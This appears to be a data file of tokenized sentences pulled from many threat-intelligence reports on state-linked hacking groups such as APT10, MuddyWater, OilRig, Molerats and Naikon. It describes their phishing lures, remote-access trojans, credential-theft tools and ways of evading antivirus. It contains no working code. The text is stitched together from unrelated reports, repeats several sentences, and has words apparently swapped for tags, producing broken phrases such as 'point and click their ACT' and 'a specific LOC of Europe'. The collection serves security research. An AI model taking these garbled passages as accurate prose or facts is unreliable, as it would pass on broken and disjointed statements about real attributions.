These characteristics suggest that COBALT GYPSY executed the January and February phishing campaigns and that it created the Mia Ash persona .
CTU researchers have observed multiple COBALT GYPSY campaigns since 2015 and consider it highly likely that the group is associated with Iranian government-directed cyber operations .
The use of the Mia Ash persona demonstrates the creativity and persistence that threat actors employ to compromise targets .
CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering .
The persistent use of social media to identify and manipulate victims indicates that COBALT GYPSY successfully achieves its objectives using this tactic .
COBALT GYPSY 's continued social media use reinforces the importance of recurring social engineering training .
SecureWorks Counter Threat Unit ( CTU ) researchers analyzed a phishing campaign that targeted a Middle Eastern organization in early January 2017 .
SecureWorks® Counter Threat Unit™ ( CTU ) researchers analyzed a phishing campaign that targeted a Middle Eastern organization in early January 2017 .
CTU analysis suggests this activity is related to Iranian threat actors closely aligned with or acting on behalf of the COBALT GYPSY threat group ( formerly labeled Threat Group-2889 ) .
Since early 2014 , an attacker group of Iranian origin has been actively targeting persons of interest by means of malware infection , supported by persistent spear phishing campaigns .
This cyber-espionage group was dubbed ' Rocket Kitten ' , and remains active as of this writing , with reported attacks as recent as October 2015 .
Characterized by relatively unsophisticated technical merit and extensive use of spear phishing , the Magic Hound targeted individuals and organizations in the Middle East ( including targets inside Iran itself ) , as well as across Europe and in the United States .
The May 2014 ' Operation Saffron Rose ' publication identifies an Iranian hacking group formerly named ' Ajax Security ' ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
An Iranian hacking group formerly named Ajax Security ( code-named ' Flying Kitten ' by CrowdStrike ) engaged in active spear phishing attacks on Iranian dissidents ( those attempting to circumvent government traffic monitoring ) .
The report specifies the Magic Hound targeted political , military and defense industry in the US , UK and Israel .
ClearSky 's September 2014 blog post first described active attacks using a piece of malware they dubbed ' Gholee ' ( as appears in a malicious payload export function , potentially named after a popular Iranian singer9 ) .
The Rocket Kitten attacker group 's main attack vector is spear-phishing .
After learning of an active attack incident from the Rocket Kitten group on a customer network , Check Point researchers decided to actively join the investigation .
As described in previous publications , the Rocket Kitten attackers make extensive use of various phishing schemes .
While the recent paper from Trend Micro and ClearSky ( ' The Spy Kittens Are Back : Rocket Kitten 2 ' ) does extensively cover the campaign 's narrative , we aimed to seek confirmation that our analyzed attack was positively connected to the same campaign and set out to provide additional value and insight .
As the Rocket Kitten group 's behavior was well characterized in previous publications ( see the recent report from Trend Micro and ClearSky ) .
Magic Hound will often find simpler ACTs for effective compromise , such as creative phishing and simple custom malware .
We present the connection between Behzad Mesri , an Iranian national recently indicted for his involvement in hacking HBO , and Charming Kitten .
Sometimes , they aim at establishing a foothold on the target 's computer to gain access into their organization , but , based on our data , this is usually not their main objective , as opposed to other Iranian threat groups , such as Oilrig1 and CopyKittens2 .
A case of these obscure lines can be found in a blogpost published in coordination and parallel to this report - " Flying Kitten to Rocket Kitten , A Case of Ambiguity and Shared Code " 3 by Collin Anderson and Claudio Guarnieri .
FireEye 's publication of " Operation Saffron Rose " report , which described Flying Kitten 's operations against aviation firms , led to the dismantling of Flying Kitten 's infrastructure and the apparent end of its activities .
To sum up , the HBO hacker - Behzad Mesri is a member of Turk Black Hat along with ArYaIeIrAn , who provides infrastructure for Charming Kitten activity via PersianDNS / Mahanserver together with Mohammad Rasoul Akbari , who is a Facebook friend of Behzad Mesri 's .
Charming kitten regularly target international media outlets with Persian-language services .
It was a decoy to make visitor download a " Flash Player " , which was in fact DownPaper malware , analyzed later in this report .
In addition to using PlugX and Poison Ivy ( PIVY ) , both known to be used by the group , they also used a new Trojan called " ChChes " by the Japan Computer Emergency Response Team Coordination Center ( JPCERT ) .
Wapack labs also observed a similar sample targeting Japan in November .
MenuPass spoofed several sender email addresses to send spear phishing emails , most notably public addresses associated with the Sasakawa Peace Foundation and The White House .
menuPass typically makes use of a mix of DDNS and actor-registered domains in their attack campaigns .
There is not much public information about the APT campaign called menuPass ( also known as Stone Panda and APT10 ) .
A paper from FireEye in 2013 on several campaigns using PIVY included menuPass as one of them .
Believed to have started activity in 2009 and to originate from China , the group initially was known for targeting US and overseas defense contractors but broadened their targeting as time passed .
menuPass has targeted individuals and organizations in Japan since at least 2014 , and as the same organizations and academics were largely targeted each month in these attacks , it further shows menuPass is persistent in attempts to compromise their targets .
menuPass also heavily favors spear phishing , and so takes steps to socially engineer their spear phishes for maximum appearance of legitimacy .
menuPass is an ongoing APT campaign with a broad range of targets and will likely continue to target Japan in the future .
ChopShop1 is a new framework developed by the MITRE Corporation for network-based protocol decoders that enable security professionals to understand actual commands issued by human operators controlling endpoints .
PyCommands , meanwhile , are Python scripts that automate tasks for Immunity Debugger , a popular tool for reverse-engineering malware binaries .
Poison Ivy is a remote access tool that is freely available for download from its official web site at www.poisonivy-rat.com .
First released in 2005 , the tool has gone unchanged since 2008 with v ersion 2.3.2 .
Poison Ivy includes features common to most Windows-based RATs , including key logging , screen capturing , video capturing , file transfers , system administration , password theft , and traffic relaying .
APT40 was previously reported as TEMP.Periscope and TEMP.Jumper .
They move laterally and escalate system privileges to extract sensitive information — whenever the attacker wants to do so.4 ,5 Because some RATs used in targeted attacks are widely available , determining whether an attack is part of a broader APT campaign can be difficult .
In 2011 , three years after the most recent release of PIVY , attackers used the RAT to compromise security firm RSA and steal data about its SecureID authentication system .
PIVY also played a key role in the 2011 campaign known as Nitro that targeted chemical makers , government agencies , defense contractors , and human rights groups.10,11 Still active a year later , the Nitro attackers used a zero-day vulnerability in Java to deploy PIVY in 2012 .
Just recently , PIVY was the payload of a zero-day exploit in Internet Explorer used in what is known as a " strategic web compromise " attack against visitors to a U.S. government website and a variety of others .
The Poison Ivy builder kit allows attackers to customize and build their own PIVY server , which is delivered as mobile code to a target that has been compromised , typically using social engineering .
Attackers can point and click their ACT through a compromised network and exfiltrate data .
Commodity RATs also complicate efforts by security professionals to correlate a threat actor 's activity over time—attackers can hide in the sea of malicious activity that also uses Poison Ivy-based malware .
This report is an initial public release of research PwC UK and BAE Systems have conducted into new , sustained global campaigns by an established threat actor against managed IT service providers and their clients as well as several directly targeted organisations in Japan .
Since late 2016 , PwC UK and BAE Systems have been assisting victims of a new cyber espionage campaign conducted by APT10 .
The campaign , which we refer to as Operation Cloud Hopper , has targeted managed IT service providers ( MSPs ) , allowing APT10 unprecedented potential access to the intellectual property and sensitive data of those MSPs and their clients globally .
APT10 ceased its use of the Poison Ivy malware family after a 2013 FireEye report , which comprehensively detailed the malware 's functionality and features , and its use by several China-based threat actors , including APT10 .
APT10 primarily used PlugX malware from 2014 to 2016 , progressively improving and deploying newer versions , while simultaneously standardising their command and control function .
PwC UK and BAE Systems assess it is highly likely that APT10 is a China-based threat actor with a focus on espionage and wide ranging information collection .
APT10 is known to have exfiltrated a high volume of data from multiple victims , exploiting compromised MSP networks , and those of their customers , to stealthily move this data around the world .
APT10 , a name originally coined by FireEye , is also referred to as Red Apollo by PwC UK , CVNX by BAE Systems , Stone Panda by CrowdStrike , and menuPass Team more broadly in the public domain .
The threat actor has previously been the subject of a range of open source reporting , including most notably a report by FireEye comprehensively detailing the threat actor 's use of the Poison Ivy malware family and blog posts by Trend Micro3 similarly detailing the use of EvilGrab malware .
The threat actor has previously been the subject of a range of open source reporting , including most notably a report by FireEye comprehensively detailing the threat actor 's use of the Poison Ivy malware family and blog posts by Trend Micro similarly detailing the use of EvilGrab malware .
APT10 has been in operation since at least 2009 , and has evolved its targeting from an early focus on the US defence industrial base ( DIB )1 and the technology and telecommunications sector , to a widespread compromise of multiple industries and sectors across the globe , most recently with a focus on MSPs .
The research and ongoing tracking of APT10 by both PwC UK and BAE .
APT10 has been in operation since at least 2009 , and has evolved its targeting from an early focus on the US defence industrial base ( DIB ) and the technology and telecommunications sector , to a widespread compromise of multiple industries and sectors across the globe , most recently with a focus on MSPs .
PwC UK has been engaged in supporting investigations linked to APT10 compromises .
As a result of our analysis of APT10 's activities , we believe that it almost certainly benefits from significant staffing and logistical resources , which have increased over the last three years , with a significant step-change in 2016 .
Due to the scale of the threat actor 's operations throughout 2016 and 2017 , we similarly assess it currently comprises multiple teams , each responsible for a different section of the day-to-day operations , namely domain registration , infrastructure management , malware development , target operations , and analysis .
APT10 withdrew from direct targeting using Poison Ivy in 2013 and conducted its first known retooling operation , upgrading its capabilities and replatforming to use PlugX .
It is highly likely that this is due to the release of the 2013 FireEye report .
Our report will detail the most recent campaigns conducted by APT10 , including the sustained targeting of MSPs , which we have named Operation Cloud Hopper , and the targeting of a number of Japanese institutions .
MSPs therefore represent a high-payoff target for espionagefocused threat actors such as APT10 .
Given the level of client network access MSPs have , once APT10 has gained access to a MSP , it is likely to be relatively straightforward to exploit this and move laterally onto the networks of potentially thousands of other victims .
This , in turn , would provide access to a larger amount of intellectual property and sensitive data .
APT10 has been observed to exfiltrate stolen intellectual property via the MSPs , hence evading local network defences .
The command and control ( C2 ) infrastructure chosen by APT10 for Operation Cloud Hopper is predominantly referenced using dynamic-DNS domains .
Several of these provide enterprise services or cloud hosting , supporting our assessment that APT10 are almost certainly targeting MSPs .
The 13th FYP was released in March 2016 and the sectors and organisations known to be targeted by APT10 are broadly in line with the strategic aims documented in this plan .
 These aims outlined in the FYP will largely dictate the growth of businesses in China and are , therefore , likely to also form part of Chinese companies ' business strategies .
APT10 has , in the past , primarily been known for its targeting of government and US defence industrial base organisations , with the earliest known date of its activity being in December 2009 .
Observed APT10 targeting is in line with many of the historic compromises we have outlined previously as originating from China .
In line with commonly used APT actor methodologies , the threat actor aligns its decoy documents to a topic of interest relevant to the recipient .
This section details changes made to APT10 tools , techniques and procedures ( TTPs ) post-2014 , following its shift from Poison Ivy to PlugX .
We have observed that in cases where APT10 has infiltrated a target via an MSP , it continues to use the MSPs credentials .
In order to gain any further credentials , APT10 will usually deploy credential theft tools such as mimikatz or PwDump , sometimes using DLL load order hijacking , to use against a domain controller , explained further in Annex B .
APT10 achieves persistence on its targets primarily by using scheduled tasks or Windows services in order to ensure the malware remains active regardless of system reboots .
For example , in addition to compromising high value domain controllers and security servers , the threat actor has also been observed identifying and subsequently installing malware on low profile systems that provide non-critical support functions to the business , and are thus less likely to draw the attention of system administrators .
In the majority of instances APT10 used either a reverse shell or RDP connection to install its malware ; the actor also uses these methods to propagate across the network .
The tactical malware , historically EvilGrab , and now ChChes ( and likely also RedLeaves ) , is designed to be lightweight and disposable , often being delivered through spear phishing .
Once executed , tactical malware contains the capability to profile the network and manoeuvre through it to identify a key system of interest .
We have also observed APT10 use DLL search order hijacking and sideloading , to execute some modified versions of open-source tools .
For example , PwC UK has observed APT10 compiling DLLs out of tools , such as Mimikatz and PwDump6 , and using legitimate , signed software , such as Windows Defender to load the malicious payloads .
During our analysis of victim networks , we were able to observe APT10 once again initiate a retooling cycle in late 2016 .
We observed the deployment and testing of multiple versions of Quasar malware , and the introduction of the bespoke malware families ChChes and RedLeaves .
APT10 is a constantly evolving , highly persistent China-based threat actor that has an ambitious and unprecedented collection programme against a broad spectrum of sectors , enabled by its strategic targeting .
Since exposure of its operations in 2013 , APT10 has made a number of significant changes intended to thwart detection of its campaigns .
PwC UK and BAE Systems , working closely with industry and government , have uncovered a new , unparallelled campaign which we refer to as Operation Cloud Hopper .
This operation has targeted managed IT service providers , the compromise of which provides APT10 with potential access to thousands of further victims .
An additional campaign has also been observed targeting Japanese entities .
APT10 's malware toolbox shows a clear evolution from malware commonly associated with China-based threat actors towards bespoke in-house malware that has been used in more recent campaigns ; this is indicative of APT10 's increasing sophistication , which is highly likely to continue .
The threat actor 's known working hours align to Chinese Standard TIME ( CST ) and its targeting corresponds to that of other known China-based threat actors , which supports our assessment that these campaigns are conducted by APT10 .
APT10 ( MenuPass Group ) is a Chinese cyber espionage group that FireEye has tracked since 2009 .
Its targets include the military organizations and governments of countries with national interests in the South China Sea , including some within the U.S. defense industrial base .
Moafee may have chosen its targets based on the rich resources of South China Sea region – the world 's second business sea-lane , according to Wikipedia – including rare earth metals , crude oil , and natural gas .
DragonOK appears to operate out of China 's Jiangsu Province .
Moafee and DragonOK both use a well-known proxy tool – HUC Packet Transmit MAL ( HTRAN ) – to disguise their geographical locations .
However , FireEye researchers do not have enough insight to reliably report a definitive connection to the Moafee and DragonOK groups .
Both Moafee and DragonOK favor spear-phishing emails as an attack vector , often employing a decoy to deceive the victim .
Attachments are typically sent as an executable file embedded in a ZIP archive or a password-protected Microsoft Office document .
We observed Moafee running HTRAN proxies on their multiple Command and Control ( C2 ) servers – all operated on CHINANET , and hosted in Guangdong Province .
Like the Moafee group , we observed DragonOK running HTRAN to proxy their C2 servers , which are also operated on CHINANET but are hosted in the Jiangsu Province .
Primarily focused on governments and military operations of countries with interests in the South China Sea , Moafee likely chooses its targets based on region 's rich natural resources .
By targeting high-tech and manufacturing operations in Japan and Taiwan , DragonOK may be acquiring trade secrets for a competitive economic advantage .
Security researchers subsequently linked these attacks to a broader , yearlong campaign that targeted not just Israelis but Palestinians as well .
and as discovered later , even the U.S. and UK governments .
The second group , known as DragonOK , targets high-tech and manufacturing companies in Japan and Taiwan .
In 2012 , the Molerats attacks appeared to rely heavily on the XtremeRAT , a freely available tool that is popular with attackers based in the Middle East .
But the group has also used Poison Ivy ( PIVY ) , a RAT more commonly associated with threat actors in China — so much so that PIVY has , inaccurately , become synonymous with all APT attacks linked to China .
This blog post analyzes several recent Molerats attacks that deployed PIVY against targets in the Middle East and in the U.S. We also examine additional PIVY attacks that leverage Arabic-language content related to the ongoing crisis in Egypt and the wider Middle East to lure targets into opening malicious files .
We do not know whether using PIVY is an attempt by those behind the Molerats campaign to frame China-based threat actors for their attacks or simply evidence that they have added another effective , publicly-available RAT to its arsenal .
We observed several attacks in June and July 2013 against targets in the Middle East and the U.S. that dropped a PIVY payload that connected to command-and-control ( CnC ) infrastructure used by the Molerats attackers .
The archive contains an .exe file , sometimes disguised as a Microsoft Word file , a video , or another file format , using the corresponding icon .
In addition to DustySky , the attackers use publicly available tools such as the following Remote Administration Tools ( RAT ) : Poison Ivy , Nano Core , XtremeRAT , DarkComet and Spy-Net .
DustySky ( called " NeD Worm " by its developer ) is a multi-stage malware in use since May 2015 .
It is in use by the Molerats ( aka Gaza cybergang ) , a politically motivated group whose main objective , we believe , is intelligence gathering .
Operating since 2012 , the Molerats group 's activity has been reported by Norman , Kaspersky , FireEye , and PwC .
DustySky has been developed and used since May 2015 by Molerats ( aka " Gaza cybergang " ) , a terrorist group whose main objective in this campaign is intelligence gathering .
Most targets are from the Middle East : Israel , Egypt , Saudi Arabia , United Arab Emirates and Iraq .
The United States and countries in Europe are targeted as well .
The sample analyzed is f589827c4cf94662544066b80bfda6ab from late August 2015 .
The MuddyWater attacks are primarily against Middle Eastern nations .
However , we have also observed attacks against surrounding nations and beyond , including targets in India and the USA .
Targeted sectors of Molerats include governmental and diplomatic institutions , including embassies ; companies from the aerospace and defence Industries ; financial institutions ; journalists ; software developers .
The Palo Alto Networks Unit 42 research team recently came across a series of malicious files which were almost identical to those targeting the Saudi Arabian government previously discussed by MalwareBytes .
MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call " POWERSTATS " .
When we looked at the cluster of activity which consisted of what appeared to be espionage-focused attacks in the Middle East , we were somewhat confused as the previous public reporting had attributed these attacks to FIN7 .
FIN7 is a threat actor group that is financially motivated with targets in the restaurant , services and financial sectors .
Following the trail of existing public reporting , the tie to FIN7 is essentially made based on a download observed from a MuddyWater C2 , of a non-public tool " DNSMessenger " .
There was a mistake in the original Morphisec analysis which linked these attacks to FIN7 .
The DNSMessenger malware is a shared tool , used by FIN7 , MuddyWater and perhaps other groups .
In September 2018 , we found evidence of Seedworm and the espionage group APT28 ( aka Swallowtail , Fancy Bear ) , on a computer within the Brazil-based embassy of an oil-producing nation .
We found new variants of the Powermud backdoor , a new backdoor ( Backdoor.Powemuddy ) , and custom tools for stealing passwords , creating reverse shells , privilege escalation , and the use of the native Windows cabinet creation tool , makecab.exe , probably for compressing stolen data to be uploaded .
Seedworm likely functions as a cyber espionage group to secure actionable intelligence that could benefit their sponsor 's interests .
During the operations , the group used tools consistent with those leveraged during past intrusions including Powermud , a custom tool used by the Seedworm group , and customized PowerShell , LaZagne , and Crackmapexec scripts .
The Seedworm group controls its Powermud backdoor from behind a proxy network to hide the ultimate command-and-control ( C&C ) location .
After compromising a system , typically by installing Powermud or Powemuddy , Seedworm first runs a tool that steals passwords saved in users ' web browsers and email , demonstrating that access to the victim 's email , social media , and chat accounts is one of their likely goals .
Seedworm then uses open-source tools such as LaZagne and Crackmapexec to obtain Windows authorization credentials .
The group , which we call Seedworm ( aka MuddyWater ) , has been operating since at least 2017 , with its most recent activity observed in December 2018 .
The Seedworm group is the only group known to use the Powermud backdoor .
Additionally , the group compromised organizations in Europe and North America that have ties to the Middle East .
MuddyWater is an Iranian high-profile threat actor that 's been seen active since 2017 .
Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn't possible for us to verify this link .
Over the past year , we've seen the group extensively targeting a wide gamut of entities in various sectors , including Governments , Academy , Crypto-Currency , Telecommunications and the Oil sectors .
Little detail is given on the nature of how the connection between DNSMessenger and MuddyWater was discovered it isn't possible for us to verify this link .
Depending on each sample , the content of document is either a fake resume application , or a letter from the Ministry of Justice in Lebanon or Saudi Arabia .
Analysts in our DeepSight Managed Adversary and Threat Intelligence ( MATI ) team have found a new backdoor , Backdoor.Powemuddy , new variants of Seedworm 's Powermud backdoor ( aka POWERSTATS ) , a GitHub repository used by the group to store their scripts , as well as several post-compromise tools the group uses to exploit victims once they have established a foothold in their network .
From January 2018 to March 2018 , through FireEye 's Dynamic Threat Intelligence , we observed attackers leveraging the latest code execution and persistence techniques to distribute malicious macro-based documents to individuals in Asia and the Middle East .
MuddyWater has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia .
This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia .
When successfully executed , the malicious documents install a backdoor we track as POWERSTATS .
The group is known for espionage campaigns in the Middle East .
The threat group in this recently observed campaign – TEMP.Zagros – weaponized their malware using the following techniques .
The MuddyWater campaign was first sighted in 2017 when it targeted the Saudi government using an attack involving PowerShell scripts deployed via Microsoft Office Word macro .
The threat group in this recently observed campaign a TEMP.Zagros a weaponized their malware using the following techniques .
Like the previous campaigns , these samples again involve a Microsoft Word document embedded with a malicious macro that is capable of executing PowerShell ( PS ) scripts leading to a backdoor payload .
MuddyWater is a relatively new APT that surfaced in 2017 .
We attribute this activity to TEMP.Zagros ( reported by Palo Alto Networks and Trend Micro as MuddyWater ) , an Iran-nexus actor that has been active since at least May 2017 .
We attribute this activity to TEMP.Zagros ( reported by Palo Alto Networks and Trend Micro ) , an Iran-nexus actor that has been active since at least May 2017 .
Entities in these sectors are often " enabling victims " as telecommunications providers or IT services agencies and vendors could provide Seedworm actors with further victims to compromise .
The group mainly targets the telecommunications and IT services sectors .
However , the group behind MuddyWater has been known to target other countries in the Middle East , Europe and the US .
The group has focused mainly on governmental targets in Iraq and Saudi Arabia , according to past telemetry .
The new spear-phishing docs used by MuddyWater rely on social engineering to persuade users to enable macros .
MuddyWater has recently been targeting victims likely from Lebanon and Oman , while leveraging compromised domains , one of which is owned by an Israeli web developer .
As MuddyWater has consistently been using POWERSTATS as its main tool , they are relatively easy to distinguish from other actors .
In March 2018 , Trend Micro provided a detailed analysis of another campaign that bore the hallmarks of MuddyWater .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
In May 2018 , Trend Micro found a new sample ( Detected as W2KM_DLOADR.UHAOEEN ) that may be related to this campaign .
Given the use of lure documents designed with social engineering in mind , it is likely that MuddyWater use phishing or spam to target users who are unaware of these documents ' malicious nature .
We recently noticed the group behind MuddyWater that appear to be targeting government bodies , military entities , telcos and educational institutions in Jordan , Turkey , Azerbaijan and Pakistan , in addition to the continuous targeting of Iraq and Saudi Arabia , other victims were also detected in Mali , Austria , Russia , Iran and Bahrain. .
Observed Seedworm victims were located primarily in Pakistan and Turkey , but also in Russia , Saudi Arabia , Afghanistan , Jordan , and elsewhere .
The MuddyWaters group has carried out a large number of attacks and demonstrated advanced social engineering , in addition to the active development of attacks , infrastructure and the use of new methods and techniques .
Cisco Talos assesses with moderate confidence that a campaign we recently discovered called " BlackWater " is associated with suspected persistent threat actor MuddyWater .
In this latest activity , BlackWater first added an obfuscated Visual Basic for Applications ( VBA ) script to establish persistence as a registry key .
Talos has uncovered documents that we assess with moderate confidence are associated with suspected persistent threat actor MuddyWater .
MuddyWater has been active since at least November 2017 and has been known to primarily target entities in the Middle East .
Between February and March 2019 , probable MuddyWater-associated samples indicated that BlackWater established persistence on the compromised host , at used PowerShell commands to enumerate the victim 's machine and contained the IP address of the actor 's command and control ( C2 ) .
Despite last month 's report on aspects of the MuddyWater campaign , the group is undeterred and continues to perform operations .
Based on these observations , as well as MuddyWater 's history of targeting Turkey-based entities , we assess with moderate confidence that this campaign is associated with the MuddyWater threat actor group .
Our recent report , " The Chronicles of the Hellsing APT : the Empire Strikes Back " began with an introduction to the Naikon APT , describing it as " One of the most active APTs in Asia , especially around the South China Sea " .
It came in the form of a " Tran Duy Linh " CVE-2012-0158 exploit kit document MD5 : de8a242af3794a8be921df0cfa51885f61 and was observed on April 10 , 2014 .
Considering the volume of Naikon activity observed and its relentless , repeated attack attempts , such a confrontation was worth looking into , so we did .
The attackers appeared to be Chinese-speaking and targeted mainly top-level government agencies and civil and military organizations in countries such as the Philippines , Malaysia , Cambodia , Indonesia , Vietnam , Myanmar , Singapore , Nepal , Thailand , Laos and China .
The oil and gas infrastructure nexus observed in connection with greensky27.vicp.net and other Unit 78020 ( Naikon ) infrastructure suggests targeting patterns supportive of the PRC 's strategic interests over energy resources within the South China Sea and Southeast Asia .
This Naikon report will be complemented by a follow-on report that will examine the Naikon TTP and the incredible volume of attack activity around the South China Sea that has been going on since at least 2010 .
The attackers appeared to be Chinese-speaking and targeted mainly top-level government agencies and civil and military organizations in countries such as the Philippines , Malaysia , Cambodia , Indonesia , Vietnam , Myanmar , Singapore , Nepal .
This bait document , or email attachment , appears to be a standard Word document , but is in fact an CVE-2012-0158 exploit , an executable with a double extension , or an executable with an RTLO filename , so it can execute code without the user 's knowledge or consent .
In the Naikon scheme , a C&C server can be specialized XSControl software running on the host machine .
It was during operator X 's network monitoring that the attackers placed Naikon proxies within the countries ' borders , to cloak and support real-time outbound connections and data Exfiltration from high-profile victim organizations .
In addition to stealing keystrokes , Naikon also intercepted network traffic .
Operator X also took advantage of cultural idiosyncrasies in its target countries , for example , the regular and widely accepted use of personal Gmail accounts for work .
In the spring of 2014 , we noticed an increase in the volume of attack activity by the Naikon APT .
In particular , we noticed that the Naikon group was spear-phished by an actor we now call " Hellsing " .
More details about the cloak and dagger games between Naikon and Hellsing can be found in our blogpost : " The Chronicles of the Hellsing APT : The Empire Strikes Back " .
Truvasys has been involved in several attack campaigns , where it has masqueraded as one of server common computer utilities , including WinUtils , TrueCrypt , WinRAR , or SanDisk .
PROMETHIUM is an activity group that has been active as early as 2012 .
The group primarily uses Truvasys , a first-stage malware that has been in circulation for several years .
NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird .
PROMETHIUM and NEODYMIUM both used an exploit for CVE-2016-4117 , a vulnerability in Adobe Flash Player that , at the time , was both unknown and unpatched .
Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks .
In early May 2016 , both PROMETHIUM and NEODYMIUM started conducting attack campaigns against specific individuals in Europe .
Meanwhile , NEODYMIUM used well-tailored spear-phishing emails with attachments that delivered the exploit code , ultimately leading to Wingbird 's installation on victim computers .
PROMETHIUM and NEODYMIUM both used a zero-day exploit that executed code to download a malicious payload .
Wingbird , the advanced malware used by NEODYMIUM , has several behaviors that trigger alerts in Windows Defender ATP .
This volume chronicles two activity groups , code-named PROMETHIUM and NEODYMIUM , both of which target individuals in a specific LOC of Europe .
Although most malware today either seeks monetary gain or conducts espionage for economic advantage , both of these activity groups appear to seek information about specific individuals .
In May 2016 , both PROMETHIUM and NEODYMIUM were observed to launch attack campaigns .
NEODYMIUM is an activity group that , like PROMETHIUM , conducted an attack campaign in early May 2016 .
Data about Wingbird activity indicates that it is typically used to attack individuals and individual computers instead of networks .
NEODYMIUM also used the exact same CVE-2016-4117 exploit code that PROMETHIUM used , prior to public knowledge of the vulnerability 's existence .
NEODYMIUM used a backdoor detected by Windows Defender as Wingbird , whose characteristics closely match FinFisher , a government-grade commercial surveillance package .
In May 2016 , two apparently unrelated activity groups , PROMETHIUM and NEODYMIUM , conducted attack campaigns in Europe that used the same zeroday exploit while the vulnerability was publicly unknown .
The Middle Eastern hacker group in this case is codenamed " BlackOasis " Kaspersky found the group was exploiting a Adobe Flash Player zero-day vulnerability ( CVE-2016-4117 ) to remotely deliver the latest version of " FinSpy " malware , according to a new blog post published Monday .
FinSpy , a final-stage payload that allows for an attacker to covertly learn what a target is talking about and who they are communicating with , is associated with Gamma Group — which goes by other names , including FinFisher and Lench IT Solutions .
In the past , BlackOasis messages were designed to appear like news articles from 2016 about political relations between Angola and China .
BlackOasis in recent months sent a wave of phishing emails .
PROMETHIUM uses a unique set of tools and methods to perform actions like lateral movement and data Exfiltration .
Last year , Microsoft researchers described Neodymium 's behavior as unusual : " unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
The discovery by Kaspersky marks at least the fifth zero-day exploit used by BlackOasis and exposed by security researchers since June 2015 .
Victims of BlackOasis have been observed in the following countries : Russia , Iraq , Afghanistan , Nigeria , Libya , Jordan , Tunisia , Saudi Arabia , Iran , Netherlands , Bahrain , United Kingdom and Angola .
Unlike many activity groups , which typically gather information for monetary gain or economic espionage , PROMETHIUM and NEODYMIUM appear to launch campaigns simply to gather information about certain individuals .
A cursory review of BlackOasis ' espionage campaign suggests there is some overlap between the group 's actions and Saudi Arabia 's geopolitical interests .
Kaspersky 's research notes that BlackOasis hacked into computers based in Saudi Arabia .
All 13 countries where Kaspersky reportedly observed BlackOasis activity are connected to Saudi Arabia in one of three ACTs : economically ; from a national security perspective ; or due to established policy agreements .
The Operation Aurora , named by McAfee and announced in January 2010 , and the WikiLeaks document disclosures of 2010 have highlighted the fact that external and internal threats are nearly impossible to prevent .
These attacks have involved social engineering , spearphishing attacks , exploitation of Microsoft Windows operating systems vulnerabilities , Microsoft Active Directory compromises , and the use of remote administration tools ( RATs ) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations .
Night Dragon 's attacks have involved social engineering , spearphishing attacks , exploitation of Microsoft Windows operating systems vulnerabilities , Microsoft Active Directory compromises , and the use of remote administration tools ( RATs ) in targeting and harvesting sensitive competitive proprietary operations and project-financing information with regard to oil and gas field bids and operations .
We have identified the tools , techniques , and network activities used in these continuing attacks—which we have dubbed Night Dragon—as originating primarily in China .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
Attackers using several locations in China have leveraged C&C servers on purchased hosted services in the United States and compromised servers in the Netherlands to wage attacks against global oil , gas , and petrochemical companies , as well as individuals and executives in Kazakhstan , Taiwan , Greece , and the United States to acquire proprietary and highly confidential information .
The primary operational technique used by Night Dragon comprised a variety of hacker tools , including privately developed and customized RAT tools that provided complete remote administration capabilities to the attacker .
While Night Dragon attacks focused specifically on the energy sector , the tools and techniques of this kind can be highly successful when targeting any industry .
In addition , the attackers employed hacking tools of Chinese origin and that are prevalent on Chinese underground hacking forums .
We have been presented with a rare opportunity to see some development activities from the actors associated with the OilRig attack campaign , a campaign Unit 42 has been following since May 2016 .
Recently we were able to observe these actors making modifications to their Clayslide delivery documents in an attempt to evade antivirus detection .
We collected two sets of Clayslide samples that appear to be created during the OilRig actor 's development phase of their attack lifecycle .
On November 15 , 2016 , an actor related to the OilRig campaign began testing the Clayslide delivery documents .
The actor then made subtle modifications to the file and uploaded the newly created file to the same popular antivirus testing website in order to determine how to evade detection .
In addition to making changes to the Excel worksheets that contain the decoy content , the actor also made changes to the worksheet that is initially displayed to the user .
Taking a step back , as discussed in the Appendix in our initial OilRig blog , Clayslide delivery documents initially open with a worksheet named " Incompatible " that displays content that instructs the user to " Enable Content " to see the contents of the document , which in fact runs the malicious macro and compromises the system .
This realization suggests that the OilRig threat group will continue to use their delivery documents for extended periods with subtle modifications to remain effective .
Iranian threat agent OilRig has been targeting multiple organisations in Israel and other countries in the Middle East since the end of 2015 .
In recent attacks they set up a fake VPN Web Portal and targeted at least five Israeli IT vendors , several financial institutes , and the Israeli Post Office .
In these websites they hosted malware that was digitally signed with a valid , likely stolen code signing certificate .
In December 2015 , Symantec published a post about " two Iran-based attack groups that appear to be connected , Cadelle and Chafer " that " have been using Backdoor.Cadelspy and Backdoor.Remexi to spy on Iranian individuals and Middle Eastern organizations " .
In May 2016 , Unit 42 observed attacks of OilRig primarily focused on financial institutions and technology organizations within Saudi Arabia .
In recent OilRig attacks , the threat actors purport to be legitimate service providers offering service and technical troubleshooting as a social engineering theme in their spear-phishing attacks .
The campaign appears highly targeted and delivers a backdoor we have called ' Helminth ' .
Artifacts identified within the malware samples related to these attacks also suggest the targeting of the defense industry in Saudi Arabia , which appears to be related to an earlier wave of attacks carried out in the fall of 2015 .
In May 2016 , Unit 42 began researching attacks that used spear-phishing emails with attachments , specifically malicious Excel spreadsheets sent to financial organizations within Saudi Arabia .
Over the course of the attack campaign , we have observed two different variations of the Helminth backdoor , one written in VBScript and PowerShell that was delivered via a macro within Excel spreadsheets and the other a standalone Windows executable .
